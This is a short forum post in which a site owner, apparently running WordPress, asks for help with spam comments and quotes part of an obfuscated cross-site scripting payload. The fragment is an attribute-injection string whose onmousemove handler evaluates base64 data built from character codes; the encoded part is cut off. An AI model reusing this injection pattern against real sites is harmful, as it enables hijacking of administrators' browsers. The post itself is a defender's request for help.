Comment javascript hack attempt – please advise

Hi Folks,

Got a couple comment moderation emails with the following code in the comment. Since the javascript is set to fire on mouse move I am scared to go to the comment moderation page because then the comment would render and I would have to move the mouse to delete them.

<a href='
href="'>:-)<abbr title='"onmousemove=" eval(atob(String.fromCharCode(67,109,108,109,73,67,104

There’s a whole lot more numbers after the end here.

I looked on the web for something similar and the other attacks I found that were similar to this were really nasty… see:
https://www.brandonsilver.com/2015/01/07/exploring-malicious-wordpress-spam.html